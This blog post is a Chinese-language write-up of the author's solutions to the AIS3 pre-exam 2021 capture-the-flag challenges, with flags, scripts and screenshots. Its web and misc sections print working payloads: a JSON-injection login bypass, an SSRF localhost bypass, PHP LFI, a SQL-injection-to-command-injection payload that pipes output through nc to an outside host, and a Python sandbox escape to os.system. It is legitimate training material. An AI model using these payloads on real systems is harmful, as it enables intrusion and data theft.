Cavern.sigma
Welcome to Cavern.sigma
[TOC] # 成績 ![Score](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Score.jpeg) 看[完整 Profile](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Profile.jpeg) 很長的[ScoreBoard](https://img.stoneapp.tech/t510599/ais3-2021/pre-exam/Scoreboard.jpeg) # 前言 這次跟[上次](https://stoneapp.tech/cavern/post.php?pid=802)一樣是第 10 名 倒是莫名拿到兩個首殺: [Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi](#Cat%20Slayer%20ᶠᵃᵏᵉ%20|%20Nekogoroshi) 跟 [[震撼彈] AIS3 官網疑遭駭!](#[震撼彈]%20AIS3%20官網疑遭駭!) ![](https://i.imgur.com/g7ENH14.png) ![](https://i.imgur.com/ZHGVxQE.png) 另外 @a91082900 大佬躍進到第 7 名 太強了跟不上 m(_ _)m # 官解 https://hackmd.io/@splitline/SJBFVSzqO # AIS3 pre-exam 2021 Writeup ## MISC ### Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi 不要懷疑 工人智慧 password: 2025830455298 flag: `AIS3{H1n4m1z4w4_Sh0k0gun}` ### Blind 在 22 行執行了 `close(1);` 把 stdout 關掉了 透過 `sys_dup2` 把 stderr copy 到 stdout 這樣他就能透過 stderr 輸出了 p.s. linux man page 的說明 > `int dup2(int oldfd, int newfd);` The dup2() system call creates a copy of the file descriptor oldfd, using the file descriptor number specified in newfd. 查看 [syscall table](https://syscalls64.paolostivanin.com/) ![](https://i.imgur.com/pTlV0ll.png) payload: `33 2 1 0` flag: `AIS3{dupppppqqqqqub}` ### [震撼彈] AIS3 官網疑遭駭! `Protocol Hierarchy` 觀察內容 ![](https://i.imgur.com/yidqQO2.png) 發現都是 DNS 跟 HTTP 透過 `File > Export Objects > HTTP` 查看 HTTP request 發現一段看起來是 base64 的參數 以及一個很特別的 request 其參數是反過來的 ![](https://i.imgur.com/lblE9CE.png) 看該 Request 內容 看起來像個 shell ![](https://i.imgur.com/qwZ1S8J.png) 推測有個 VirtualHost 手動更改 DNS or 改 `Host` header `/etc/hosts` ``` 10.153.11.126 magic.ais3.org ``` 實測可以看到內容 ![](https://i.imgur.com/TbR7xBd.png) 下指令 `echo "<command>"" | base64 | rev` ![](https://i.imgur.com/c4iUFxv.png) flag: `AIS3{0h!Why_do_U_kn0w_this_sh3ll1!1l!}` ### Microcheese 這題原本是 Crypto 後來被修正了 ![](https://i.imgur.com/6rwe6U1.png) 拿來 diff 一下 很容易可以看出 如果選項不是 0, 1, 2 你就可以跳過回合 然後 AI 會繼續拿 ![](https://i.imgur.com/vTJJyKy.png) 等到剩最後一顆 快樂直接拿走 flag: `AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3}` ### Cat Slayer Online Edition 透過 `getattr` 取代 `.` 並且用 `input()` 將要存取的屬性值傳入 這樣就只需要 `['(', ')', 'a', 'e', 'g', 'i', 'n', 'p', 'r', 't', 'u']` 11 十一個字元 由於限時 10 秒 寫隻腳本快速生 payload ```python import re import string tmpl = "getattr(<?>,input())" payload = "().__class__.__base__.__subclasses__" payload2 = "<1>()[132].__init__.__globals__" run = "<2>['system']('command')" data = payload.split(".") def generate_template(payloads, result=""): if len(payloads) > 1: return tmpl.replace("<?>", generate_template(payloads[:-1])) else: return payloads[0] template = generate_template(data) data2 = payload2.replace("<1>", template).split(".") template = generate_template(data2) final = run.replace("<2>", template) params = [] for p in re.findall(r"'(\w+)'", final): params.append(p) final = final.replace(f"'{p}'", "input()") # gen needed print(needed := sorted(set(curse := string.ascii_lowercase + string.digits + "()'\".").intersection(set(final)))) print(*map(lambda x: curse.index(x), needed)) print(len(needed), "\n") # gen template print(final, *data[1:], *data2[1:], *params, sep="\n") print(len(final)) ``` 先透過 `().__class__.__base__.__subclasses__()` 取得 subclasses 清單 然後使用 `<class 'os._wrap_close'>` 來取得 `system()` 它在 `__subclasses__[132]` 的地方 -> 增加 `['1'. '2', '3']` 3 個字元 預計使用以下指令來 RCE ```python ().__class__.__base__.__subclasses__()[132].__init__.__global__['system']('<command>') ``` 總共需要 14 個字元 payload 長度 112 ![](https://i.imgur.com/KKzGVmw.png) 公式計算完 需要 lv.6 (`6 * int(2/math.log10(max(2, 14-10))*6) = 114`) <!-- ![screenshot](https://i.imgur.com/NYKXsVb.png) --> ![](https://i.imgur.com/uP6C8Qw.png) flag: `AIS3{CAO_Cat_Art_Online}` ## WEB ### yet another login page ```python=34 def login(): data = '{"showflag": false, "username": "%s", "password": "%s"}' % ( request.form["username"], request.form['password'] ) session['user_data'] = data return redirect("/") ``` 可以透過引號隨意寫 json 利用以下特性: 1. 重複 key 以後者值為主 2. `null` 會被 `json.loads` 解析為 `None` 且 `dict.get()` 若在取得不存在的 key 時預設回傳 `None` 透過 `None == None` 即可通過 ```python=17 def valid_user(user): return users_db.get(user['username']) == user['password'] ``` payload: - username: any (except of `guest`, `admin`) - password: `", "password": null, "showflag":true, "s":"` flag: `AIS3{/r/badUIbattles?!?!}` ### HaaS ```html <form action='/haas' method='POST'> <label>url</label> <input name='url' value='https://httpstat.us/500'> <input name='status' hidden value='200'> <input type=submit> </input> </form> ``` 測試 `localhost` 時會回傳 `Don't attack server` 且在 response status code 不符合時會將其內容印出 使用其他與 `locahost` 同義的方式存取 ([Ref](https://github.com/w181496/Web-CTF-Cheatsheet#bypass-127001)) payload: - url: `http://0x7f000001/` - status code: other than `200` flag: `AIS3{V3rY_v3rY_V3ry_345Y_55rF}` ### 【5/22 重要公告】 觀察參數 `/?module=modules/api` 以及 `/moduels/api.php` 存在 猜測其使用 `include($_GET['module']. ".php");` 引入 透過 `php://filter` 做 LFI: `/?module=php://filter/read=convert.base64-encode/resource=modules/api` 取得原始碼 `modules/api.php` ```php=5 $db = new SQLite3(SQLITE_DB_PATH); if (isset($_GET['id'])) { $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); $host = str_replace(' ', '', $data['host']); $port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; echo json_encode($data); } else { ``` 透過 union select 來 command injection 而 host 中的空格都會被刪除 另外 port 只能數字 bash 中可以透過 `${IFS}` 來代替空格的功能 (分隔參數) payload: ``` &id=<non-exist id> union select 'test',"';<command>|nc${IFS}'<ip>",'<port>' ``` ![](https://i.imgur.com/xf3gEbj.png) flag: `AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D}` ## CRYPTO ### ReSident evil villAge `b'Ethan Winters'` 轉成 int 變成 $$5502769663009776377079720669811 = 163 * 33759323085949548325642458097$$ $$(a*b)^d \pmod n = a^d \pmod n * b^d \pmod n$$ 送出 `a3` 與 `6d150ebb92427fdc8e1053f1` 並將結果相乘模 n 再送出驗證 flag: `AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9}` ### Microchip 其實是一個偽裝成 c++ 的 python 把它寫回 python ```python def track(name, id): if len(name) % 4 == 0: padded = name + "4444" elif len(name) % 4 == 1: padded = name + "333" elif len(name) % 4 == 2: padded = name + "22" elif len(name) % 4 == 3: padded = name + "1" keys = list() temp = id for i in range(4) : keys.append(temp % 96) temp = int(temp / 96) result = "" for i in range(0, len(padded), 4) : nums = list() for j in range(4) : num = ord(padded[i + j]) - 32 num = (num + keys[j]) % 96 nums.append(num + 32) result += chr(nums[3]) result += chr(nums[2]) result += chr(nums[1]) result += chr(nums[0]) return result name = open("flag.txt", "r").read().strip() id = int(input("key = ")) print("result is:", track(flag, key)) ``` 把字串分成四個一組 根據 key 做位移 並把密文反過來 透過已知明文(前四個字元)跟密文找 key ```python keys = [] secret, flag = "=Js&", "AIS3" for c, p in zip(secret[::-1], flag): keys.append(((ord(c) - 32) - ord(p) + 32) % 96) num = ((ord("{") - 32) + keys[0]) % 96 + 32 assert num == ord("`") print(keys) ``` 解密 ```python from string import ascii_letters, digits, punctuation keys = [69, 42, 87, 10] encoded = "=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu" flag = "" for i in range(0, len(encoded), 4): sector = encoded[i:i+4][::-1] for i, c in enumerate(sector): p = chr((ord(c) - keys[i]) % 96) while p not in ascii_letters + digits + punctuation: p = chr(ord(p) + 96) flag += p print(flag[:-int(flag[-1])]) # remove padding ``` flag: `AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0}` ### Republic of South Africa 給你 RSA 的 n, e, c 程式碼中使用物理碰撞公式去生成 p, q 先用小數字去生成 觀察 count ![](https://i.imgur.com/Rj81HPW.png) 這看起來很像圓周率 因此猜測 count 是圓周率的前 153 個數字 又 $$p+q = count$$ 且 $$p*q = n$$ 兩條式子可以解兩個未知數 使用 z3 解聯立方程式 ```python from z3 import * count = #... n = #... s = Solver() p, q = Ints('p, q') s.add(p * q == n) s.add(p + q == count) s.check() s.model() ``` ``` p = 125271761150262906416707263718886403684050582091051005263078715902829301737825885945876611987225959401224076260783558207667345619556059984778330517466451 q = 188887504208716417429557074609063884735666357846459576834415743327952338890795013916926870546985747396990732390544672457042038841398998238394205423346397 ``` flag: `AIS3{https://www.youtube.com/watch?v=jsYwFizhncE}` ## REVERSE ### COLORS 原始碼有三部分 1. 陣列調換 2. 文字編碼 3. 輸入 handler 關於位置調換後的陣列 由瀏覽器可以直接取得轉換後的結果 因此不須逆 ![](https://i.imgur.com/h952ZiU.png) 把陣列值全部填回程式碼後 得到 handler ```javascript document['addEventListener']("keydown", ev => { const get3 = get2; if (ev['key'] === 'BackSpace' && counter == 0xa) _0x1e21d9['textContent'] = _0x1e21d9['textContent']['substr'](0x0, _0x1e21d9['textContent']['length'] - 0x1); else { if (ev['key'] === 'ArrowUp' && !(counter >> 0x1)) return counter += 0x1; else { if (ev['key'] === 'ArrowDown' && !(counter >> 0x2)) return counter += 0x1; else { if (ev['key'] === 'ArrowLeft' && (counter == 0x4 || counter == 0x6)) return counter += 0x1; else { if (ev['key'] === 'ArrowRight' && (counter == 0x5 || counter == 0x7)) return counter += 0x1; else { if (ev['key'] === 'b' && counter == 0x8) return counter += 0x1; else { if (ev['key'] === 'a' && counter == 0x9) return document['getElementsByTagName']('body')[0x0]['innerHTML'] += atob(_0x54579e), _0x1e21d9 = document['getElementById']('input'), _0x1e21d9['innerHTML'] = '', document['getElementById']('output')['innerHTML'] = atob(_0x78ed5a)['match'](/(.{1,3})/g)['map'](_0x5efa9e => composeElement(_0x5efa9e[0x0], _0x5efa9e[0x1], _0x5efa9e[0x2]))['join'](''), counter += 0x1; else { if (ev['key']['length'] == 0x1 && counter == 0xa) _0x1e21d9['textContent'] += String['fromCharCode'](ev['key']['charCodeAt']()); else return; } } } } } } } func(_0x1e21d9['textContent']); }); ``` 看起來一臉 Konami 密技: `上上下下左右左右BA` 開啟另個模式 ![](https://i.imgur.com/4YeblXx.png) 得到了一串編碼過的文字 細部逆完文字編碼器後 ```javascript= const sizee = 0xa; const dFLAG = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}"; function textProcessor(text) { if (!text.length) return ''; let bytes = '', output = '', len = 0x0; // to bits for (let index = 0x0; index < text.length; index++) bytes += text.charCodeAt(index).toString(2).padStart(8, '0'); len = bytes.length % sizee / 2 - 1; // if not empty, padEnd if (len != -0x1) bytes += '0'.repeat(sizee - bytes.length % sizee); // take each 10 bits as one byte matchBytes = bytes.match(/(.{1,10})/g); for (let byte of matchBytes) { // | reverse: 1 | color: 3 | char: 6 | let n = parseInt(byte, 0x2); output += composeElement(n >> 0x6 & 0b111, n >> 0x9, dFLAG[n & 0b111111]); } for (; len > 0x0; len--) { output += composeElement(len % 8, 0x0, '='); } return output; } ``` 發現其將文字先轉為二進位 再以每 10 bit 一組做轉換 將 10 bit 分成 3 段做不同用途: `| reverse: 1 bit | color: 3 bits | char: 6 bits |` 透過觀察字是否相反以及其顏色 可以推回原始字串 使用以下片段取得資料 ```javascript= Array.from(document.querySelector("#output").querySelectorAll("div")).map(el => Array.from(el.classList).join(" ") + " " + el.textContent ); ``` 最後寫個解碼器 ```python= dFLAG = "AlS3{BasE64_i5+b0rNIng~\\Qwo/-xH8WzCj7vFD2eyVktqOL1GhKYufmZdJpX9}" data = ["c4 r0 B","c2 r0 g","c3 r0 i","c5 r1 J","c6 r0 6","c0 r1 \\","c3 r0 w","c4 r0 1","c3 r0 A","c4 r1 j","c4 r0 \\","c4 r1 1","c3 r0 g","c7 r0 u","c3 r0 i","c1 r0 k","c3 r0 l","c4 r0 7","c6 r0 x","c5 r0 i","c5 r0 X","c1 r0 K","c1 r0 I","c4 r0 h","c5 r0 X","c0 r0 K","c4 r1 i","c5 r1 l","c7 r0 6","c7 r0 f","c4 r0 o","c1 r0 6","c5 r0 5","c7 r0 K","c1 r1 n","c5 r1 8","c7 r0 7","c4 r1 B","c5 r0 -","c1 r1 8","c4 r0 w","c3 r1 a","c1 r0 r","c4 r1 z","c7 r0 K","c3 r0 =","c2 r0 =","c1 r0 ="] flag = "" for c in data: color, reverse, char = c.split() color, reverse = int(color[1]), int(reverse[1]) if (char != "="): index = dFLAG.index(char) char_bits = f"{index:06b}" the_byte_str = f"{reverse:b}{color:03b}{char_bits[-6:]}" flag += the_byte_str flag = flag.rstrip("0") # too lazy to unpad correctly. it just works! print(flag) long = int(flag, 2) print(h := f"{long:x}") print(bytearray.fromhex(h).decode()) ``` flag: `AIS3{base1024_15_c0l0RFuL_GAM3_CL3Ar_thIS_IS_y0Ur_FlaG!}` ### Piano .dll 是 .Net 平台的 因此可以很輕易的透過 dotPeek 反編譯 ![](https://i.imgur.com/seJHVP1.png) 兩個 list 為前後音符 index 的和與積 基本上是 2020 pre-exam La vie en rose 的考古 解個聯立 ```python= # sum, diff def solve(s, d): return (s + d) // 2, (s - d) // 2 notes = ['C', 'D', 'E', 'F', 'G', 'A', 'B', 'CSharp', 'DSharp', 'FSharp', 'GSharp', 'ASharp'] list1 = [14, 17, 20, 21, 22, 21, 19, 18, 12, 6, 11, 16, 15, 14] list2 = [0, -3, 0, -1, 0, 1, 1, 0, 6, 0, -5, 0, 1, 0] btns = [] for s, d in zip(list1, list2): a, _ = solve(s, d) btns.append(a) print(*map(notes.__getitem__, btns)) ``` 印出鍵位 `CSharp CSharp GSharp GSharp ASharp ASharp GSharp FSharp FSharp F F DSharp DSharp CSharp` 然後彈一段小星星 flag: `AIS3{7wink1e_tw1nkl3_l1ttl3_574r_1n_C_5h4rp}` ### Peekora 使用 `python -m pickletools --annotate flag_checker.pkl` 可以生成有註解的 pickle 程式碼 在註解中有解釋 OpCode 的作用 (或是直接看 [CPython 原始碼](https://github.com/python/cpython/blob/3.9/Lib/pickletools.py)) ```= 0: c GLOBAL '__builtin__ input' Push a global object (module.attr) on the stack. 19: ( MARK Push markobject onto the stack. 20: S STRING 'FLAG: ' Push a Python string object. 30: t TUPLE (MARK at 19) Build a tuple out of the topmost stack slice, after markobject. 31: R REDUCE Push an object built from a callable and an argument tuple. 32: p PUT 0 Store the stack top into the memo. The stack is not popped. 35: 0 POP Discard the top stack item, shrinking the stack by one item. 36: c GLOBAL '__builtin__ getattr' Push a global object (module.attr) on the stack. 57: p PUT 1 Store the stack top into the memo. The stack is not popped. 60: 0 POP Discard the top stack item, shrinking the stack by one item. 61: g GET 1 Read an object from the memo and push it on the stack. 64: ( MARK Push markobject onto the stack. 65: ( MARK Push markobject onto the stack. 66: c GLOBAL '__builtin__ exit' Push a global object (module.attr) on the stack. 84: c GLOBAL '__builtin__ str' Push a global object (module.attr) on the stack. 101: l LIST (MARK at 65) Build a list out of the topmost stack slice, after markobject. 102: S STRING '__getitem__' Push a Python string object. 117: t TUPLE (MARK at 64) Build a tuple out of the topmost stack slice, after markobject. 118: R REDUCE Push an object built from a callable and an argument tuple. 119: p PUT 2 Store the stack top into the memo. The stack is not popped. 122: 0 POP // ... ``` 透過簡易圖示說明 TUPLE 與 REDUCE 的作用 ![](https://i.imgur.com/4LGuJUh.png) ![](https://i.imgur.com/AGPpbqI.png) 因此上方的程式碼最後在 memo 中產生三個物件: ``` [0] 使用者輸入 [1] __builtin__ getattr [2] [__builtin__ exit, __builtin__ str] 的存取函數 輸入為 index ``` ``` 205: g GET 2 208: ( MARK 209: g GET 1 212: ( MARK 213: g GET 1 216: ( MARK 217: g GET 0 220: S STRING '__getitem__' 235: t TUPLE (MARK at 216) 236: R REDUCE 237: ( MARK 238: I INT 6 # index 241: t TUPLE (MARK at 237) 242: R REDUCE 243: S STRING '__eq__' 253: t TUPLE (MARK at 212) 254: R REDUCE 255: ( MARK 256: V UNICODE 'A' # char 259: t TUPLE (MARK at 255) 260: R REDUCE 261: t TUPLE (MARK at 208) 262: R REDUCE 263: ( MARK 264: t TUPLE (MARK at 263) 265: R REDUCE ``` 每一段這樣的程式碼能判斷一個字元 透過類似 `[exit, str][user_input[6] == 'A']()` 的方式來模擬 if 而其中出現了並非直接寫明的字元 ``` 455: ( MARK 456: I INT 14 460: t TUPLE (MARK at 455) 461: R REDUCE 462: S STRING '__eq__' 472: t TUPLE (MARK at 430) 473: R REDUCE 474: ( MARK 475: g GET 3 478: t TUPLE (MARK at 474) 479: R REDUCE ``` 我們可以得到 flag 為 `AIS3{dAmwjzph<memo[4]><memo[3]>}` 另外注意到 ``` 327: g GET 1 330: ( MARK 331: g GET 0 334: S STRING '__getitem__' 349: t TUPLE (MARK at 330) 350: R REDUCE 351: ( MARK 352: I INT 9 # index 355: t TUPLE (MARK at 351) 356: R REDUCE 357: p PUT 3 ``` 以上程式碼會從使用者輸入中拿出在 index 位置的字元放入 memo 中 使 memo 增加一項 (以上為 `memo[3] = user_input[9]`) 且其 index 都在之前判斷過了 因此可以確認內容 最終 memo 變成 ``` [0] 使用者輸入 [1] __builtin__ getattr [2] [exit, str][] [3] 'j' [4] 'I' ``` p.s. 為了這題最後自己生了一個網頁版 stack 就不用擦擦寫寫了 yay p.s.2 https://app.stoneapp.tech/stack/ 上線啦! flag: `AIS3{dAmwjzphIj}` ## PWN ### Write Me 透過 gdb 查看原始的位置 ![](https://i.imgur.com/vyUmou4.png) 把被寫掉的 system 位置寫回去 addr: `4210728 (0x404028)` value: `4198480 (0x401050)` flag: `AIS3{Y0u_know_h0w_1@2y_b1nd1ng_w@rking}`
2021-05-31 20:40:03
留言
Last fetch: --:-- 
現在還沒有留言!